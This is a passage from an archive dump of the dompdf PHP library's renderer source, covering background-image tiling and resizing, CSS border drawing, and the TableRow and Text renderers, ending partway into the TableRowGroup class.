        if (Helpers::is_percent($bg_x)) {
            // The point $bg_x % from the left edge of the image is placed
            // $bg_x % from the left edge of the background rectangle
            $p = ((float)$bg_x) / 100.0;
            $x1 = $p * $img_w;
            $x2 = $p * $bg_width;

            $bg_x = $x2 - $x1;
        } else {
            $bg_x = (float)($style->length_in_pt($bg_x) * $dpi) / 72;
        }

        $bg_x = round($bg_x + (float)$style->length_in_pt($style->border_left_width) * $dpi / 72);

        if (Helpers::is_percent($bg_y)) {
            // The point $bg_y % from the left edge of the image is placed
            // $bg_y % from the left edge of the background rectangle
            $p = ((float)$bg_y) / 100.0;
            $y1 = $p * $img_h;
            $y2 = $p * $bg_height;

            $bg_y = $y2 - $y1;
        } else {
            $bg_y = (float)($style->length_in_pt($bg_y) * $dpi) / 72;
        }

        $bg_y = round($bg_y + (float)$style->length_in_pt($style->border_top_width) * $dpi / 72);

        //clip background to the image area on partial repeat. Nothing to do if img off area
        //On repeat, normalize start position to the tile at immediate left/top or 0/0 of area
        //On no repeat with positive offset: move size/start to have offset==0
        //Handle x/y Dimensions separately

        if ($repeat !== "repeat" && $repeat !== "repeat-x") {
            //No repeat x
            if ($bg_x < 0) {
                $bg_width = $img_w + $bg_x;
            } else {
                $x += ($bg_x * 72) / $dpi;
                $bg_width = $bg_width - $bg_x;
                if ($bg_width > $img_w) {
                    $bg_width = $img_w;
                }
                $bg_x = 0;
            }

            if ($bg_width <= 0) {
                return;
            }

            $width = (float)($bg_width * 72) / $dpi;
        } else {
            //repeat x
            if ($bg_x < 0) {
                $bg_x = -((-$bg_x) % $img_w);
            } else {
                $bg_x = $bg_x % $img_w;
                if ($bg_x > 0) {
                    $bg_x -= $img_w;
                }
            }
        }

        if ($repeat !== "repeat" && $repeat !== "repeat-y") {
            //no repeat y
            if ($bg_y < 0) {
                $bg_height = $img_h + $bg_y;
            } else {
                $y += ($bg_y * 72) / $dpi;
                $bg_height = $bg_height - $bg_y;
                if ($bg_height > $img_h) {
                    $bg_height = $img_h;
                }
                $bg_y = 0;
            }
            if ($bg_height <= 0) {
                return;
            }
            $height = (float)($bg_height * 72) / $dpi;
        } else {
            //repeat y
            if ($bg_y < 0) {
                $bg_y = -((-$bg_y) % $img_h);
            } else {
                $bg_y = $bg_y % $img_h;
                if ($bg_y > 0) {
                    $bg_y -= $img_h;
                }
            }
        }

        //Optimization, if repeat has no effect
        if ($repeat === "repeat" && $bg_y <= 0 && $img_h + $bg_y >= $bg_height) {
            $repeat = "repeat-x";
        }

        if ($repeat === "repeat" && $bg_x <= 0 && $img_w + $bg_x >= $bg_width) {
            $repeat = "repeat-y";
        }

        if (($repeat === "repeat-x" && $bg_x <= 0 && $img_w + $bg_x >= $bg_width) ||
            ($repeat === "repeat-y" && $bg_y <= 0 && $img_h + $bg_y >= $bg_height)
        ) {
            $repeat = "no-repeat";
        }

        // Avoid rendering identical background-image variants multiple times
        // This is not dependent of background color of box! .'_'.(is_array($bg_color) ? $bg_color["hex"] : $bg_color)
        // Note: Here, bg_* are the start values, not end values after going through the tile loops!

        $key = implode("_", [$bg_width, $bg_height, $img_w, $img_h, $bg_x, $bg_y, $repeat]);
        // FIXME: This will fail when a file with that exact name exists in the
        // same directory, included in the document as regular image
        $cpdfKey = $img . "_" . $key;
        $tmpFile = Cache::getTempImage($img, $key);
        $cached = ($this->_canvas instanceof CPDF && $this->_canvas->get_cpdf()->image_iscached($cpdfKey))
            || ($tmpFile !== null && file_exists($tmpFile));

        if (!$cached) {
            // img: image url string
            // img_w, img_h: original image size in px
            // width, height: box size in pt
            // bg_width, bg_height: box size in px
            // x, y: left/top edge of box on page in pt
            // start_x, start_y: placement of image relative to pattern
            // $repeat: repeat mode
            // $bg: GD object of result image
            // $src: GD object of original image

            // Create a new image to fit over the background rectangle
            $bg = imagecreatetruecolor($bg_width, $bg_height);
            $cpdfFromGd = true;

            switch (strtolower($type)) {
                case "png":
                    $cpdfFromGd = false;
                    imagesavealpha($bg, true);
                    imagealphablending($bg, false);
                    $src = @imagecreatefrompng($img);
                    break;

                case "jpeg":
                    $src = @imagecreatefromjpeg($img);
                    break;

                case "webp":
                    $src = @imagecreatefromwebp($img);
                    break;

                case "gif":
                    $src = @imagecreatefromgif($img);
                    break;

                case "bmp":
                    $src = @Helpers::imagecreatefrombmp($img);
                    break;

                default:
                    return; // Unsupported image type
            }

            if ($src == null) {
                return;
            }

            if ($img_w != $org_img_w || $img_h != $org_img_h) {
                $newSrc = imagescale($src, $img_w, $img_h);
                imagedestroy($src);
                $src = $newSrc;
            }

            if ($src == null) {
                return;
            }

            //Background color if box is not relevant here
            //Non transparent image: box clipped to real size. Background non relevant.
            //Transparent image: The image controls the transparency and lets shine through whatever background.
            //However on transparent image preset the composed image with the transparency color,
            //to keep the transparency when copying over the non transparent parts of the tiles.
            $ti = imagecolortransparent($src);
            $palletsize = imagecolorstotal($src);

            if ($ti >= 0 && $ti < $palletsize) {
                $tc = imagecolorsforindex($src, $ti);
                $ti = imagecolorallocate($bg, $tc['red'], $tc['green'], $tc['blue']);
                imagefill($bg, 0, 0, $ti);
                imagecolortransparent($bg, $ti);
            }

            //This has only an effect for the non repeatable dimension.
            //compute start of src and dest coordinates of the single copy
            if ($bg_x < 0) {
                $dst_x = 0;
                $src_x = -$bg_x;
            } else {
                $src_x = 0;
                $dst_x = $bg_x;
            }

            if ($bg_y < 0) {
                $dst_y = 0;
                $src_y = -$bg_y;
            } else {
                $src_y = 0;
                $dst_y = $bg_y;
            }

            //For historical reasons exchange meanings of variables:
            //start_* will be the start values, while bg_* will be the temporary start values in the loops
            $start_x = $bg_x;
            $start_y = $bg_y;

            // Copy regions from the source image to the background
            if ($repeat === "no-repeat") {
                // Simply place the image on the background
                imagecopy($bg, $src, $dst_x, $dst_y, $src_x, $src_y, $img_w, $img_h);

            } elseif ($repeat === "repeat-x") {
                for ($bg_x = $start_x; $bg_x < $bg_width; $bg_x += $img_w) {
                    if ($bg_x < 0) {
                        $dst_x = 0;
                        $src_x = -$bg_x;
                        $w = $img_w + $bg_x;
                    } else {
                        $dst_x = $bg_x;
                        $src_x = 0;
                        $w = $img_w;
                    }
                    imagecopy($bg, $src, $dst_x, $dst_y, $src_x, $src_y, $w, $img_h);
                }
            } elseif ($repeat === "repeat-y") {

                for ($bg_y = $start_y; $bg_y < $bg_height; $bg_y += $img_h) {
                    if ($bg_y < 0) {
                        $dst_y = 0;
                        $src_y = -$bg_y;
                        $h = $img_h + $bg_y;
                    } else {
                        $dst_y = $bg_y;
                        $src_y = 0;
                        $h = $img_h;
                    }
                    imagecopy($bg, $src, $dst_x, $dst_y, $src_x, $src_y, $img_w, $h);
                }
            } elseif ($repeat === "repeat") {
                for ($bg_y = $start_y; $bg_y < $bg_height; $bg_y += $img_h) {
                    for ($bg_x = $start_x; $bg_x < $bg_width; $bg_x += $img_w) {
                        if ($bg_x < 0) {
                            $dst_x = 0;
                            $src_x = -$bg_x;
                            $w = $img_w + $bg_x;
                        } else {
                            $dst_x = $bg_x;
                            $src_x = 0;
                            $w = $img_w;
                        }

                        if ($bg_y < 0) {
                            $dst_y = 0;
                            $src_y = -$bg_y;
                            $h = $img_h + $bg_y;
                        } else {
                            $dst_y = $bg_y;
                            $src_y = 0;
                            $h = $img_h;
                        }
                        imagecopy($bg, $src, $dst_x, $dst_y, $src_x, $src_y, $w, $h);
                    }
                }
            } else {
                print 'Unknown repeat!';
            }

            imagedestroy($src);

            if ($cpdfFromGd && $this->_canvas instanceof CPDF) {
                // Skip writing temp file as the GD object is added directly
            } else {
                $tmpDir = $this->_dompdf->getOptions()->getTempDir();
                $tmpName = @tempnam($tmpDir, "bg_dompdf_img_");
                @unlink($tmpName);
                $tmpFile = "$tmpName.png";

                imagepng($bg, $tmpFile);
                imagedestroy($bg);

                Cache::addTempImage($img, $tmpFile, $key);
            }
        } else {
            $bg = null;
            $cpdfFromGd = $tmpFile === null;
        }

        if ($this->_dompdf->getOptions()->getDebugPng()) {
            print '[_background_image ' . $tmpFile . ']';
        }

        $this->_canvas->clipping_rectangle($x, $y, $box_width, $box_height);

        // When using cpdf and optimization to direct png creation from gd object is available,
        // don't create temp file, but place gd object directly into the pdf
        if ($cpdfFromGd && $this->_canvas instanceof CPDF) {
            // Note: CPDF_Adapter image converts y position
            $this->_canvas->get_cpdf()->addImagePng($bg, $cpdfKey, $x, $this->_canvas->get_height() - $y - $height, $width, $height);

            if (isset($bg)) {
                imagedestroy($bg);
            }
        } else {
            $this->_canvas->image($tmpFile, $x, $y, $width, $height);
        }

        $this->_canvas->clipping_end();
    }

    /**
     * @param float        $img_width
     * @param float        $img_height
     * @param float        $container_width
     * @param float        $container_height
     * @param array|string $bg_resize
     * @param int          $dpi
     *
     * @return float[]
     */
    protected function _resize_background_image(
        float $img_width,
        float $img_height,
        float $container_width,
        float $container_height,
        $bg_resize,
        int $dpi
    ): array {
        // We got two some specific numbers and/or auto definitions
        if (is_array($bg_resize)) {
            $is_auto_width = $bg_resize[0] === 'auto';
            if ($is_auto_width) {
                $new_img_width = $img_width;
            } else {
                $new_img_width = $bg_resize[0];
                if (Helpers::is_percent($new_img_width)) {
                    $new_img_width = round(($container_width / 100) * (float)$new_img_width);
                } else {
                    $new_img_width = round($new_img_width * $dpi / 72);
                }
            }

            $is_auto_height = $bg_resize[1] === 'auto';
            if ($is_auto_height) {
                $new_img_height = $img_height;
            } else {
                $new_img_height = $bg_resize[1];
                if (Helpers::is_percent($new_img_height)) {
                    $new_img_height = round(($container_height / 100) * (float)$new_img_height);
                } else {
                    $new_img_height = round($new_img_height * $dpi / 72);
                }
            }

            // if one of both was set to auto the other one needs to scale proportionally
            if ($is_auto_width !== $is_auto_height) {
                if ($is_auto_height) {
                    $new_img_height = round($new_img_width * ($img_height / $img_width));
                } else {
                    $new_img_width = round($new_img_height * ($img_width / $img_height));
                }
            }
        } else {
            $container_ratio = $container_height / $container_width;

            if ($bg_resize === 'cover' || $bg_resize === 'contain') {
                $img_ratio = $img_height / $img_width;

                if (
                    ($bg_resize === 'cover' && $container_ratio > $img_ratio) ||
                    ($bg_resize === 'contain' && $container_ratio < $img_ratio)
                ) {
                    $new_img_height = $container_height;
                    $new_img_width = round($container_height / $img_ratio);
                } else {
                    $new_img_width = $container_width;
                    $new_img_height = round($container_width * $img_ratio);
                }
            } else {
                $new_img_width = $img_width;
                $new_img_height = $img_height;
            }
        }

        return [$new_img_width, $new_img_height];
    }

    // Border rendering functions

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_dotted($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        $this->_border_line($x, $y, $length, $color, $widths, $side, $corner_style, "dotted", $r1, $r2);
    }

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_dashed($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        $this->_border_line($x, $y, $length, $color, $widths, $side, $corner_style, "dashed", $r1, $r2);
    }

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_solid($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        $this->_border_line($x, $y, $length, $color, $widths, $side, $corner_style, "solid", $r1, $r2);
    }

    /**
     * @param string $side
     * @param float  $ratio
     * @param float  $top
     * @param float  $right
     * @param float  $bottom
     * @param float  $left
     * @param float  $x
     * @param float  $y
     * @param float  $length
     * @param float  $r1
     * @param float  $r2
     */
    protected function _apply_ratio($side, $ratio, $top, $right, $bottom, $left, &$x, &$y, &$length, &$r1, &$r2)
    {
        switch ($side) {
            case "top":
                $r1 -= $left * $ratio;
                $r2 -= $right * $ratio;
                $x += $left * $ratio;
                $y += $top * $ratio;
                $length -= $left * $ratio + $right * $ratio;
                break;

            case "bottom":
                $r1 -= $right * $ratio;
                $r2 -= $left * $ratio;
                $x += $left * $ratio;
                $y -= $bottom * $ratio;
                $length -= $left * $ratio + $right * $ratio;
                break;

            case "left":
                $r1 -= $top * $ratio;
                $r2 -= $bottom * $ratio;
                $x += $left * $ratio;
                $y += $top * $ratio;
                $length -= $top * $ratio + $bottom * $ratio;
                break;

            case "right":
                $r1 -= $bottom * $ratio;
                $r2 -= $top * $ratio;
                $x -= $right * $ratio;
                $y += $top * $ratio;
                $length -= $top * $ratio + $bottom * $ratio;
                break;

            default:
                return;
        }
    }

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_double($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        list($top, $right, $bottom, $left) = $widths;

        $third_widths = [$top / 3, $right / 3, $bottom / 3, $left / 3];

        // draw the outer border
        $this->_border_solid($x, $y, $length, $color, $third_widths, $side, $corner_style, $r1, $r2);

        $this->_apply_ratio($side, 2 / 3, $top, $right, $bottom, $left, $x, $y, $length, $r1, $r2);

        $this->_border_solid($x, $y, $length, $color, $third_widths, $side, $corner_style, $r1, $r2);
    }

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_groove($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        list($top, $right, $bottom, $left) = $widths;

        $half_widths = [$top / 2, $right / 2, $bottom / 2, $left / 2];

        $this->_border_inset($x, $y, $length, $color, $half_widths, $side, $corner_style, $r1, $r2);

        $this->_apply_ratio($side, 0.5, $top, $right, $bottom, $left, $x, $y, $length, $r1, $r2);

        $this->_border_outset($x, $y, $length, $color, $half_widths, $side, $corner_style, $r1, $r2);
    }

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_ridge($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        list($top, $right, $bottom, $left) = $widths;

        $half_widths = [$top / 2, $right / 2, $bottom / 2, $left / 2];

        $this->_border_outset($x, $y, $length, $color, $half_widths, $side, $corner_style, $r1, $r2);

        $this->_apply_ratio($side, 0.5, $top, $right, $bottom, $left, $x, $y, $length, $r1, $r2);

        $this->_border_inset($x, $y, $length, $color, $half_widths, $side, $corner_style, $r1, $r2);
    }

    /**
     * @param $c
     * @return mixed
     */
    protected function _tint($c)
    {
        if (!is_numeric($c)) {
            return $c;
        }

        return min(1, $c + 0.16);
    }

    /**
     * @param $c
     * @return mixed
     */
    protected function _shade($c)
    {
        if (!is_numeric($c)) {
            return $c;
        }

        return max(0, $c - 0.33);
    }

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_inset($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        switch ($side) {
            case "top":
            case "left":
                $shade = array_map([$this, "_shade"], $color);
                $this->_border_solid($x, $y, $length, $shade, $widths, $side, $corner_style, $r1, $r2);
                break;

            case "bottom":
            case "right":
                $tint = array_map([$this, "_tint"], $color);
                $this->_border_solid($x, $y, $length, $tint, $widths, $side, $corner_style, $r1, $r2);
                break;

            default:
                return;
        }
    }

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_outset($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $r1 = 0, $r2 = 0)
    {
        switch ($side) {
            case "top":
            case "left":
                $tint = array_map([$this, "_tint"], $color);
                $this->_border_solid($x, $y, $length, $tint, $widths, $side, $corner_style, $r1, $r2);
                break;

            case "bottom":
            case "right":
                $shade = array_map([$this, "_shade"], $color);
                $this->_border_solid($x, $y, $length, $shade, $widths, $side, $corner_style, $r1, $r2);
                break;

            default:
                return;
        }
    }

    /**
     * Get the dash pattern and cap style for the given border style, width, and
     * line length.
     *
     * The base pattern is adjusted so that it fits the given line length
     * symmetrically.
     *
     * @param string $style
     * @param float  $width
     * @param float  $length
     *
     * @return array
     */
    protected function dashPattern(string $style, float $width, float $length): array
    {
        if ($style === "dashed") {
            $w = 3 * $width;

            if ($length < $w) {
                $s = $w;
            } else {
                // Scale dashes and gaps
                $r = round($length / $w);
                $r = $r % 2 === 0 ? $r + 1 : $r;
                $s = $length / $r;
            }

            return [[$s], "butt"];
        }

        if ($style === "dotted") {
            // Draw circles along the line
            // Round caps extend outwards by half line width, so a zero dash
            // width results in a circle
            $gap = $width <= 1 ? 2 : 1;
            $w = ($gap + 1) * $width;

            if ($length < $w) {
                $s = $w;
            } else {
                // Only scale gaps
                $l = $length - $width;
                $r = max(round($l / $w), 1);
                $s = $l / $r;
            }

            return [[0, $s], "round"];
        }

        return [[], "butt"];
    }

    /**
     * Draws a solid, dotted, or dashed line, observing the border radius
     *
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param string  $pattern_name
     * @param float   $r1
     * @param float   $r2
     */
    protected function _border_line($x, $y, $length, $color, $widths, $side, $corner_style = "bevel", $pattern_name = "none", $r1 = 0, $r2 = 0)
    {
        /** used by $$side */
        [$top, $right, $bottom, $left] = $widths;
        $width = $$side;

        // No need to clip corners if border radius is large enough
        $cornerClip = $corner_style === "bevel" && ($r1 < $width || $r2 < $width);
        $lineLength = $length - $r1 - $r2;
        [$pattern, $cap] = $this->dashPattern($pattern_name, $width, $lineLength);

        // Determine arc border radius for corner arcs
        $halfWidth = $width / 2;
        $ar1 = max($r1 - $halfWidth, 0);
        $ar2 = max($r2 - $halfWidth, 0);

        // Small angle adjustments to prevent the background from shining through
        $adj1 = $ar1 / 80;
        $adj2 = $ar2 / 80;

        // Adjust line width and corner angles to account for the fact that
        // round caps extend outwards. The line is actually only shifted below,
        // not shortened, as otherwise the end dash (circle) will vanish
        // occasionally
        $dl = $cap === "round" ? $halfWidth : 0;

        if ($cap === "round" && $ar1 > 0) {
            $adj1 -= rad2deg(asin($halfWidth / $ar1));
        }
        if ($cap === "round" && $ar2 > 0) {
            $adj2 -= rad2deg(asin($halfWidth / $ar2));
        }

        switch ($side) {
            case "top":
                if ($cornerClip) {
                    $points = [
                        $x, $y,
                        $x, $y - 1, // Extend outwards to avoid gaps
                        $x + $length, $y - 1, // Extend outwards to avoid gaps
                        $x + $length, $y,
                        $x + $length - max($right, $r2), $y + max($width, $r2),
                        $x + max($left, $r1), $y + max($width, $r1)
                    ];
                    $this->_canvas->clipping_polygon($points);
                }

                $y += $halfWidth;

                if ($ar1 > 0 && $adj1 > -22.5) {
                    $this->_canvas->arc($x + $r1, $y + $ar1, $ar1, $ar1, 90 - $adj1, 135 + $adj1, $color, $width, $pattern, $cap);
                }

                if ($lineLength > 0) {
                    $this->_canvas->line($x + $dl + $r1, $y, $x + $dl + $length - $r2, $y, $color, $width, $pattern, $cap);
                }

                if ($ar2 > 0 && $adj2 > -22.5) {
                    $this->_canvas->arc($x + $length - $r2, $y + $ar2, $ar2, $ar2, 45 - $adj2, 90 + $adj2, $color, $width, $pattern, $cap);
                }
                break;

            case "bottom":
                if ($cornerClip) {
                    $points = [
                        $x, $y,
                        $x, $y + 1, // Extend outwards to avoid gaps
                        $x + $length, $y + 1, // Extend outwards to avoid gaps
                        $x + $length, $y,
                        $x + $length - max($right, $r2), $y - max($width, $r2),
                        $x + max($left, $r1), $y - max($width, $r1)
                    ];
                    $this->_canvas->clipping_polygon($points);
                }

                $y -= $halfWidth;

                if ($ar1 > 0 && $adj1 > -22.5) {
                    $this->_canvas->arc($x + $r1, $y - $ar1, $ar1, $ar1, 225 - $adj1, 270 + $adj1, $color, $width, $pattern, $cap);
                }

                if ($lineLength > 0) {
                    $this->_canvas->line($x + $dl + $r1, $y, $x + $dl + $length - $r2, $y, $color, $width, $pattern, $cap);
                }

                if ($ar2 > 0 && $adj2 > -22.5) {
                    $this->_canvas->arc($x + $length - $r2, $y - $ar2, $ar2, $ar2, 270 - $adj2, 315 + $adj2, $color, $width, $pattern, $cap);
                }
                break;

            case "left":
                if ($cornerClip) {
                    $points = [
                        $x, $y,
                        $x - 1, $y, // Extend outwards to avoid gaps
                        $x - 1, $y + $length, // Extend outwards to avoid gaps
                        $x, $y + $length,
                        $x + max($width, $r2), $y + $length - max($bottom, $r2),
                        $x + max($width, $r1), $y + max($top, $r1)
                    ];
                    $this->_canvas->clipping_polygon($points);
                }

                $x += $halfWidth;

                if ($ar1 > 0 && $adj1 > -22.5) {
                    $this->_canvas->arc($x + $ar1, $y + $r1, $ar1, $ar1, 135 - $adj1, 180 + $adj1, $color, $width, $pattern, $cap);
                }

                if ($lineLength > 0) {
                    $this->_canvas->line($x, $y + $dl + $r1, $x, $y + $dl + $length - $r2, $color, $width, $pattern, $cap);
                }

                if ($ar2 > 0 && $adj2 > -22.5) {
                    $this->_canvas->arc($x + $ar2, $y + $length - $r2, $ar2, $ar2, 180 - $adj2, 225 + $adj2, $color, $width, $pattern, $cap);
                }
                break;

            case "right":
                if ($cornerClip) {
                    $points = [
                        $x, $y,
                        $x + 1, $y, // Extend outwards to avoid gaps
                        $x + 1, $y + $length, // Extend outwards to avoid gaps
                        $x, $y + $length,
                        $x - max($width, $r2), $y + $length - max($bottom, $r2),
                        $x - max($width, $r1), $y + max($top, $r1)
                    ];
                    $this->_canvas->clipping_polygon($points);
                }

                $x -= $halfWidth;

                if ($ar1 > 0 && $adj1 > -22.5) {
                    $this->_canvas->arc($x - $ar1, $y + $r1, $ar1, $ar1, 0 - $adj1, 45 + $adj1, $color, $width, $pattern, $cap);
                }

                if ($lineLength > 0) {
                    $this->_canvas->line($x, $y + $dl + $r1, $x, $y + $dl + $length - $r2, $color, $width, $pattern, $cap);
                }

                if ($ar2 > 0 && $adj2 > -22.5) {
                    $this->_canvas->arc($x - $ar2, $y + $length - $r2, $ar2, $ar2, 315 - $adj2, 360 + $adj2, $color, $width, $pattern, $cap);
                }
                break;
        }

        if ($cornerClip) {
            $this->_canvas->clipping_end();
        }
    }

    /**
     * @param float $opacity
     */
    protected function _set_opacity(float $opacity): void
    {
        if ($opacity >= 0.0 && $opacity <= 1.0) {
            $this->_canvas->set_opacity($opacity);
        }
    }

    /**
     * Add a named destination if the element has an ID or is an anchor element
     * with `name` attribute.
     *
     * @param DOMElement $node
     */
    protected function addNamedDest(DOMElement $node): void
    {
        $id = $node->getAttribute("id");
        if ($id !== "") {
            $this->_canvas->add_named_dest($id);
        }

        if ($node->nodeName === "a") {
            $name = $node->getAttribute("name");
            if ($name !== "") {
                $this->_canvas->add_named_dest($name);
            }
        }
    }

    /**
     * Add a hyperlink if the element is an anchor element with `href`
     * attribute.
     *
     * @param DOMElement $node
     * @param float[]    $borderBox
     */
    protected function addHyperlink(DOMElement $node, array $borderBox): void
    {
        if ($node->nodeName === "a" && ($href = $node->getAttribute("href")) !== "") {
            [$x, $y, $w, $h] = $borderBox;
            $dompdf = $this->_dompdf;
            $href = Helpers::build_url(
                $dompdf->getProtocol(),
                $dompdf->getBaseHost(),
                $dompdf->getBasePath(),
                $href
            ) ?? $href;
            $this->_canvas->add_link($href, $x, $y, $w, $h);
        }
    }

    /**
     * @param float[]      $box
     * @param array|string $color
     * @param array        $style
     */
    protected function debugLayout(array $box, $color = "red", array $style = []): void
    {
        $this->_canvas->rectangle($box[0], $box[1], $box[2], $box[3], Color::parse($color), 0.1, $style);
    }
}
vendor/dompdf/dompdf/src/Renderer/TableRow.php000066600000002124151150443010015345 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Frame;

/**
 * @package dompdf
 */
class TableRow extends Block
{
    /**
     * @param Frame $frame
     */
    function render(Frame $frame)
    {
        $style = $frame->get_style();
        $node = $frame->get_node();

        $this->_set_opacity($frame->get_opacity($style->opacity));

        $border_box = $frame->get_border_box();

        // FIXME: Render background onto the area consisting of all spanned
        // cells. In the separated border model, the border-spacing area should
        // be left out. Currently, the background is inherited by the table
        // cells instead, which does not handle transparent backgrounds and
        // background images correctly.
        // See https://www.w3.org/TR/CSS21/tables.html#table-layers

        $this->_render_outline($frame, $border_box);

        $this->addNamedDest($node);
        $this->addHyperlink($node, $border_box);
    }
}
vendor/dompdf/dompdf/src/Renderer/Text.php000066600000012153151150443010014555 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Adapter\CPDF;
use Dompdf\Frame;

/**
 * Renders text frames
 *
 * @package dompdf
 */
class Text extends AbstractRenderer
{
    /** Thickness of underline. Screen: 0.08, print: better less, e.g. 0.04 */
    const DECO_THICKNESS = 0.02;

    //Tweaking if $base and $descent are not accurate.
    //Check method_exists( $this->_canvas, "get_cpdf" )
    //- For cpdf these can and must stay 0, because font metrics are used directly.
    //- For other renderers, if different values are wanted, separate the parameter sets.
    //  But $size and $size-$height seem to be accurate enough

    /** Relative to bottom of text, as fraction of height */
    const UNDERLINE_OFFSET = 0.0;

    /** Relative to top of text */
    const OVERLINE_OFFSET = 0.0;

    /** Relative to centre of text. */
    const LINETHROUGH_OFFSET = 0.0;

    /** How far to extend lines past either end, in pt */
    const DECO_EXTENSION = 0.0;

    /**
     * @param \Dompdf\FrameDecorator\Text $frame
     */
    function render(Frame $frame)
    {
        $style = $frame->get_style();
        $text = $frame->get_text();

        if ($text === "") {
            return;
        }

        $this->_set_opacity($frame->get_opacity($style->opacity));

        [$x, $y] = $frame->get_position();
        $cb = $frame->get_containing_block();

        $ml = $style->margin_left;
        $pl = $style->padding_left;
        $bl = $style->border_left_width;
        $x += (float) $style->length_in_pt([$ml, $pl, $bl], $cb["w"]);

        $font = $style->font_family;
        $size = $style->font_size;
        $frame_font_size = $frame->get_dompdf()->getFontMetrics()->getFontHeight($font, $size);
        $word_spacing = $frame->get_text_spacing() + $style->word_spacing;
        $letter_spacing = $style->letter_spacing;
        $width = (float) $style->width;

        /*$text = str_replace(
          array("{PAGE_NUM}"),
          array($this->_canvas->get_page_number()),
          $text
        );*/

        $this->_canvas->text($x, $y, $text,
            $font, $size,
            $style->color, $word_spacing, $letter_spacing);

        $line = $frame->get_containing_line();

        // FIXME Instead of using the tallest frame to position,
        // the decoration, the text should be well placed
        if (false && $line->tallest_frame) {
            $base_frame = $line->tallest_frame;
            $style = $base_frame->get_style();
            $size = $style->font_size;
        }

        $line_thickness = $size * self::DECO_THICKNESS;
        $underline_offset = $size * self::UNDERLINE_OFFSET;
        $overline_offset = $size * self::OVERLINE_OFFSET;
        $linethrough_offset = $size * self::LINETHROUGH_OFFSET;
        $underline_position = -0.08;

        if ($this->_canvas instanceof CPDF) {
            $cpdf_font = $this->_canvas->get_cpdf()->fonts[$style->font_family];

            if (isset($cpdf_font["UnderlinePosition"])) {
                $underline_position = $cpdf_font["UnderlinePosition"] / 1000;
            }

            if (isset($cpdf_font["UnderlineThickness"])) {
                $line_thickness = $size * ($cpdf_font["UnderlineThickness"] / 1000);
            }
        }

        $descent = $size * $underline_position;
        $base = $frame_font_size;

        // Handle text decoration:
        // http://www.w3.org/TR/CSS21/text.html#propdef-text-decoration

        // Draw all applicable text-decorations.  Start with the root and work our way down.
        $p = $frame;
        $stack = [];
        while ($p = $p->get_parent()) {
            $stack[] = $p;
        }

        while (isset($stack[0])) {
            $f = array_pop($stack);

            if (($text_deco = $f->get_style()->text_decoration) === "none") {
                continue;
            }

            $deco_y = $y; //$line->y;
            $color = $f->get_style()->color;

            switch ($text_deco) {
                default:
                    continue 2;

                case "underline":
                    $deco_y += $base - $descent + $underline_offset + $line_thickness / 2;
                    break;

                case "overline":
                    $deco_y += $overline_offset + $line_thickness / 2;
                    break;

                case "line-through":
                    $deco_y += $base * 0.7 + $linethrough_offset;
                    break;
            }

            $dx = 0;
            $x1 = $x - self::DECO_EXTENSION;
            $x2 = $x + $width + $dx + self::DECO_EXTENSION;
            $this->_canvas->line($x1, $deco_y, $x2, $deco_y, $color, $line_thickness);
        }

        $options = $this->_dompdf->getOptions();

        if ($options->getDebugLayout() && $options->getDebugLayoutLines()) {
            $fontMetrics = $this->_dompdf->getFontMetrics();
            $textWidth = $fontMetrics->getTextWidth($text, $font, $size, $word_spacing, $letter_spacing);
            $this->debugLayout([$x, $y, $textWidth, $frame_font_size], "orange", [0.5, 0.5]);
        }
    }
}
vendor/dompdf/dompdf/src/Renderer/TableRowGroup.php000066600000002131151150443010016360 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use Dompdf\Frame;

/**
 * @package dompdf
 */
class TableRowGroup extends Block
{
    /**
     * @param Frame $frame
     */
    function render(Frame $frame)
    {
